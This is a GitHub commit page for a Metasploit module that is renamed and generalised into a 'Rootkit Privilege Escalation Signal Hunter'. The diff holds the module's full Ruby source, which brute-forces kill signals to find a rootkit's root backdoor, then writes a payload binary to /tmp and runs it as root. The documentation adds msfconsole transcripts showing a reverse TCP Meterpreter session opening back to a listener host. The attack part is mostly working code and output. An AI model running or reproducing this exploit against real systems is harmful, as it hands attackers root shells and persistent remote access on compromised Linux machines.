Skip to content

Commit 0fbf02b

Browse files
committed
Add Rootkit Privilege Escalation Signal Hunter
1 parent 52b7f1f commit 0fbf02b

File tree

2 files changed

+189
-100
lines changed

2 files changed

+189
-100
lines changed
Lines changed: 62 additions & 49 deletions
Original file line numberDiff line numberDiff line change
@@ -1,66 +1,79 @@
11
## Vulnerable Application
22

3-
[Diamorphine](https://github.com/m0nad/Diamorphine) is a Linux Kernel Module (LKM) rootkit.
3+
This module searches for rootkits which use signals to elevate
4+
process privileges to UID 0 (root).
45

5-
This module uses Diamorphine rootkit's privesc feature using signal
6-
64 to elevate the privileges of arbitrary processes to UID 0 (root).
6+
Some rootkits install signal handlers which listen for specific
7+
signals to elevate process privileges. This module identifies these
8+
rootkits by sending signals and observing UID switching to root.
79

8-
This module has been tested successfully with Diamorphine from `master`
9-
branch (2019-10-04) on Linux Mint 19 kernel 4.15.0-20-generic (x64).
10+
This module has been tested successfully with:
11+
12+
* [Singularity](https://github.com/MatheuZSecurity/Singularity) 5b6c4b6 (2025-10-19) on Ubuntu 24.04 kernel 6.14.0-33-generic (x64)
13+
* [Diamorphine](https://github.com/m0nad/Diamorphine) 2337293 (2023-09-20) on Ubuntu 22.04 kernel 5.19.0-38-generic (x64)
1014

1115

1216
## Verification Steps
1317

14-
1. Start `msfconsole`
15-
2. Get a session
16-
3. `use exploit/linux/local/diamorphine_rootkit_signal_priv_esc`
17-
4. `set SESSION [SESSION]`
18-
5. `check`
19-
6. `run`
20-
7. You should get a new *root* session
18+
1. Start `msfconsole`
19+
2. Get a session
20+
3. `use exploit/linux/local/rootkit_privesc_signal_hunter`
21+
4. `set SESSION [SESSION]`
22+
5. `set PAYLOAD [PAYLOAD]`
23+
6. `check`
24+
7. `run`
25+
8. You should get a new *root* session
2126

2227

2328
## Options
2429

25-
**SIGNAL**
2630

27-
Diamorphine elevate signal. (default: `64`)
31+
### MIN_SIGNAL
2832

33+
Start at signal (default: `0`)
2934

30-
## Scenarios
35+
### MAX_SIGNAL
36+
37+
Stop at signal (default: `64`)
38+
39+
### PID
3140

32-
### Linux Mint 19 (x64)
33-
34-
```
35-
msf > use exploit/linux/local/diamorphine_rootkit_signal_priv_esc
36-
msf exploit(linux/local/diamorphine_rootkit_signal_priv_esc) > set session 1
37-
session => 1
38-
msf exploit(linux/local/diamorphine_rootkit_signal_priv_esc) > set verbose true
39-
verbose => true
40-
msf exploit(linux/local/diamorphine_rootkit_signal_priv_esc) > check
41-
42-
[*] Executing id ...
43-
uid=0(root) gid=0(root) groups=0(root),1001(test)
44-
[+] The target is vulnerable. Diamorphine is installed and configured to handle signal '64'.
45-
msf exploit(linux/local/diamorphine_rootkit_signal_priv_esc) > run
46-
47-
[*] Started reverse TCP handler on 172.16.191.165:4444
48-
[*] Executing id ...
49-
uid=0(root) gid=0(root) groups=0(root),1001(test)
50-
[*] Writing '/tmp/.hwL5UoDL6mfZ' (207 bytes) ...
51-
[*] Executing /tmp/.hwL5UoDL6mfZ & echo ...
52-
[*] Transmitting intermediate stager...(106 bytes)
53-
[*] Sending stage (985320 bytes) to 172.16.191.228
54-
[*] Meterpreter session 2 opened (172.16.191.165:4444 -> 172.16.191.228:47694) at 2020-02-16 09:28:59 -0500
55-
56-
meterpreter > getuid
57-
Server username: uid=0, gid=0, euid=0, egid=0
58-
meterpreter > sysinfo
59-
Computer : 172.16.191.228
60-
OS : LinuxMint 19 (Linux 4.15.0-20-generic)
61-
Architecture : x64
62-
BuildTuple : i486-linux-musl
63-
Meterpreter : x86/linux
64-
meterpreter >
65-
```
41+
Process ID to send signals to ("new" to spawn a new process) (default: `new`)
42+
43+
44+
## Scenarios
6645

46+
### Singularity 5b6c4b6 (2025-10-19) on Ubuntu 24.04 kernel 6.14.0-33-generic (x64)
47+
48+
```
49+
msf > use exploit/linux/local/rootkit_privesc_signal_hunter
50+
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
51+
msf exploit(linux/local/rootkit_privesc_signal_hunter) > set session -1
52+
session => -1
53+
msf exploit(linux/local/rootkit_privesc_signal_hunter) > set payload linux/x64/meterpreter/reverse_tcp
54+
payload => linux/x64/meterpreter/reverse_tcp
55+
msf exploit(linux/local/rootkit_privesc_signal_hunter) > set lhost 192.168.200.130
56+
lhost => 192.168.200.130
57+
msf exploit(linux/local/rootkit_privesc_signal_hunter) > set lport 4444
58+
lport => 4444
59+
msf exploit(linux/local/rootkit_privesc_signal_hunter) > check
60+
[+] The target is vulnerable. Rootkit(s) are installed and configured to elevate privileges for signals.
61+
msf exploit(linux/local/rootkit_privesc_signal_hunter) > run
62+
[*] Started reverse TCP handler on 192.168.200.130:4444
63+
[*] Trying signals 0 to 64 (PID: $$) ...
64+
[+] Found 1 signals for privilege escalation (59).
65+
[*] Writing '/tmp/.9Z5PXuL7yw' (250 bytes) ...
66+
[*] Trying signal 59 ...
67+
[*] Sending stage (3090404 bytes) to 192.168.200.139
68+
[+] Deleted /tmp/.9Z5PXuL7yw
69+
[*] Meterpreter session 2 opened (192.168.200.130:4444 -> 192.168.200.139:41588) at 2025-10-23 11:18:25 -0400
70+
71+
meterpreter > getuid
72+
Server username: root
73+
meterpreter > sysinfo
74+
Computer : 192.168.200.139
75+
OS : Ubuntu 24.04 (Linux 6.14.0-33-generic)
76+
Architecture : x64
77+
BuildTuple : x86_64-linux-musl
78+
Meterpreter : x64/linux
79+
```

modules/exploits/linux/local/rootkit_privesc_signal_hunter.rb

Lines changed: 127 additions & 51 deletions
Original file line numberDiff line numberDiff line change
@@ -4,105 +4,181 @@
44
##
55

66
class MetasploitModule < Msf::Exploit::Local
7-
Rank = ExcellentRanking
7+
Rank = GreatRanking
88

99
include Msf::Post::File
1010
include Msf::Post::Linux::Priv
1111
include Msf::Post::Linux::System
1212
include Msf::Exploit::EXE
1313
include Msf::Exploit::FileDropper
14-
prepend Msf::Exploit::Remote::AutoCheck
14+
include Msf::Exploit::Deprecated
15+
16+
moved_from 'exploit/linux/local/diamorphine_rootkit_signal_priv_esc'
1517

1618
def initialize(info = {})
1719
super(
1820
update_info(
1921
info,
20-
'Name' => 'Diamorphine Rootkit Signal Privilege Escalation',
22+
'Name' => 'Rootkit Privilege Escalation Signal Hunter',
2123
'Description' => %q{
22-
This module uses Diamorphine rootkit's privesc feature using signal
23-
64 to elevate the privileges of arbitrary processes to UID 0 (root).
24+
This module searches for rootkits which use signals to elevate
25+
process privileges to UID 0 (root).
26+
27+
Some rootkits install signal handlers which listen for specific
28+
signals to elevate process privileges. This module identifies these
29+
rootkits by sending signals and observing UID switching to root.
30+
31+
This module has been tested successfully with:
2432
25-
This module has been tested successfully with Diamorphine from `master`
26-
branch (2019-10-04) on Linux Mint 19 kernel 4.15.0-20-generic (x64).
33+
Singularity 5b6c4b6 (2025-10-19) on Ubuntu 24.04
34+
kernel 6.14.0-33-generic (x64);
35+
Diamorphine 2337293 (2023-09-20) on Ubuntu 22.04
36+
kernel 5.19.0-38-generic (x64).
2737
},
2838
'License' => MSF_LICENSE,
29-
'Author' => [
30-
'm0nad', # Diamorphine
31-
'bcoles' # Metasploit
32-
],
39+
'Author' => 'bcoles',
40+
# Diamorphine rootkit first publicly documented use of signals for process privesc?
3341
'DisclosureDate' => '2013-11-07', # Diamorphine first public commit
3442
'References' => [
35-
['URL', 'https://github.com/m0nad/Diamorphine']
43+
['URL', 'https://github.com/bcoles/rootkit-signal-hunter'],
44+
['URL', 'https://xcellerator.github.io/posts/linux_rootkits_03/'],
45+
['URL', 'https://github.com/m0nad/Diamorphine'],
46+
['URL', 'https://github.com/h3xduck/Umbra'],
47+
['URL', 'https://github.com/MatheuZSecurity/Singularity'],
48+
['URL', 'https://github.com/Asekon/RootKit'],
3649
],
3750
'Platform' => ['linux'],
38-
'Arch' => [ARCH_X86, ARCH_X64],
51+
'Arch' => [
52+
ARCH_X86,
53+
ARCH_X64,
54+
ARCH_ARMLE,
55+
ARCH_AARCH64,
56+
ARCH_RISCV64LE,
57+
ARCH_RISCV32LE,
58+
ARCH_PPC,
59+
ARCH_MIPSLE,
60+
ARCH_MIPSBE
61+
],
3962
'SessionTypes' => ['shell', 'meterpreter'],
4063
'Targets' => [['Auto', {}]],
4164
'Notes' => {
4265
'Reliability' => [ REPEATABLE_SESSION ],
43-
'Stability' => [ CRASH_SAFE ],
44-
'SideEffects' => UNKNOWN_SIDE_EFFECTS
66+
'Stability' => [
67+
CRASH_OS_DOWN, # Poorly designed rootkits may crash
68+
],
69+
'SideEffects' => [
70+
ARTIFACTS_ON_DISK,
71+
SCREEN_EFFECTS, # Killing processes may spawn crash handler windows
72+
]
4573
},
74+
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },
4675
'DefaultTarget' => 0
4776
)
4877
)
49-
register_options [
50-
OptInt.new('SIGNAL', [true, 'Diamorphine elevate signal', 64])
51-
]
52-
register_advanced_options [
78+
register_options([
79+
OptInt.new('MIN_SIGNAL', [true, 'Start at signal', 0]),
80+
OptInt.new('MAX_SIGNAL', [true, 'Stop at signal', 64]),
81+
OptString.new('PID', [true, 'Process ID to send signals to ("new" to spawn a new process)', 'new'])
82+
])
83+
register_advanced_options([
5384
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
54-
]
55-
end
56-
57-
def signal
58-
datastore['SIGNAL'].to_s
85+
])
5986
end
6087

6188
def base_dir
6289
datastore['WritableDir'].to_s
6390
end
6491

65-
def upload_and_chmodx(path, data)
66-
print_status "Writing '#{path}' (#{data.size} bytes) ..."
67-
write_file path, data
68-
chmod path, 0755
69-
end
92+
def cmd_exec_elevated(signal, cmd, pid)
93+
vprint_status("Executing '#{cmd}' with signal #{signal} (PID: #{pid}) ...")
94+
95+
# NOTE: cleanup of hung processes will fail on non-POSIX shells (ie, fish)
96+
# due to using "$!" which is not supported
97+
res = cmd_exec(
98+
%(sh -c 'kill -#{signal} #{pid}; #{cmd}' 2>/dev/null & pid=$!; sleep 0.1; kill -CONT "$pid" 2>/dev/null; wait "$pid"),
99+
nil,
100+
5
101+
).to_s
102+
vprint_line(res) unless res.blank?
70103

71-
def cmd_exec_elevated(cmd)
72-
vprint_status "Executing #{cmd} ..."
73-
res = cmd_exec("sh -c 'kill -#{signal} $$ && #{cmd}'").to_s
74-
vprint_line res unless res.blank?
75104
res
76105
end
77106

78107
def check
79-
res = cmd_exec_elevated 'id'
108+
return CheckCode::Unknown('Session already has root privileges') if is_root?
109+
110+
# NOTE: this will fail on non-POSIX shells (ie, fish)
111+
# due to using "$$" which is not supported
112+
pid = datastore['PID'].downcase == 'new' ? '\$$' : datastore['PID']
113+
114+
# Iterate from MIN to MAX sending each signal to PID.
115+
#
116+
# SIGCONT if the process hangs.
117+
# Note: cleanup of hung processes will fail on non-POSIX shells (ie, fish)
118+
# due to using "$!" which is not supported
119+
cmd = [
120+
"i=#{datastore['MIN_SIGNAL']}",
121+
%(while [ "$i" -le #{datastore['MAX_SIGNAL']} ]),
122+
%(do sh -c "kill -$i #{pid}; id" 2>/dev/null & pid=$!),
123+
'sleep 0.1; kill -CONT "$pid" 2>/dev/null',
124+
'wait "$pid"',
125+
'i=$((i + 1))',
126+
'done 2>/dev/null'
127+
].join('; ')
128+
129+
res = cmd_exec(
130+
cmd,
131+
nil,
132+
60
133+
)
134+
vprint_line(res) unless res.blank?
80135

81-
if res.include?('invalid signal')
82-
return CheckCode::Safe("Signal '#{signal}' is invalid")
83-
end
136+
return CheckCode::Safe('No rootkits detected') unless res.to_s.include?('uid=0')
137+
138+
CheckCode::Vulnerable('Rootkit(s) are installed and configured to elevate privileges for signals.')
139+
end
84140

85-
unless res.include?('uid=0')
86-
return CheckCode::Safe("Diamorphine is not installed, or incorrect signal '#{signal}'")
141+
# @return Array of signals which can be used to elevate privileges to root
142+
def brute_signals(min, max, pid)
143+
print_status("Trying signals #{min} to #{max} (PID: #{pid}) ...")
144+
signals = []
145+
146+
(min..max).each do |signal|
147+
signals << signal if cmd_exec_elevated(signal, 'id', pid).to_s.include?('uid=0')
87148
end
88149

89-
CheckCode::Vulnerable("Diamorphine is installed and configured to handle signal '#{signal}'.")
150+
signals
90151
end
91152

92153
def exploit
93-
if !datastore['ForceExploit'] && is_root?
94-
fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
95-
end
154+
fail_with(Failure::BadConfig, 'Session already has root privileges.') if is_root?
155+
fail_with(Failure::BadConfig, "Start signal (#{datastore['MIN_SIGNAL']}) is greater than stop signal (#{datastore['MAX_SIGNAL']}); nothing to iterate.") if datastore['MIN_SIGNAL'] > datastore['MAX_SIGNAL']
156+
fail_with(Failure::BadConfig, "#{base_dir} is not writable") unless writable?(base_dir)
157+
158+
pid = datastore['PID'].downcase == 'new' ? '$$' : datastore['PID']
159+
signals = brute_signals(
160+
datastore['MIN_SIGNAL'],
161+
datastore['MAX_SIGNAL'],
162+
pid
163+
)
96164

97-
unless writable? base_dir
98-
fail_with Failure::BadConfig, "#{base_dir} is not writable"
99-
end
165+
fail_with(Failure::NotVulnerable, 'No rootkits detected') if signals.blank?
100166

101-
payload_name = ".#{rand_text_alphanumeric 8..12}"
102-
payload_path = "#{base_dir}/#{payload_name}"
103-
upload_and_chmodx payload_path, generate_payload_exe
104-
register_file_for_cleanup payload_path
167+
print_good("Found #{signals.size} signals for privilege escalation (#{signals.join(', ')}).")
105168

106-
cmd_exec_elevated "#{payload_path} & echo "
169+
payload_name = ".#{rand_text_alphanumeric(8..12)}"
170+
payload_path = "#{base_dir}/#{payload_name}"
171+
payload_data = generate_payload_exe
172+
print_status("Writing '#{payload_path}' (#{payload_data.size} bytes) ...")
173+
write_file(payload_path, payload_data)
174+
chmod(payload_path, 0o755)
175+
register_file_for_cleanup(payload_path)
176+
177+
signals.each do |signal|
178+
print_status("Trying signal #{signal} ...")
179+
cmd_exec_elevated(signal, "#{payload_path} & echo ", pid)
180+
sleep(5)
181+
break if session_created?
182+
end
107183
end
108184
end

0 commit comments

Comments
 (0)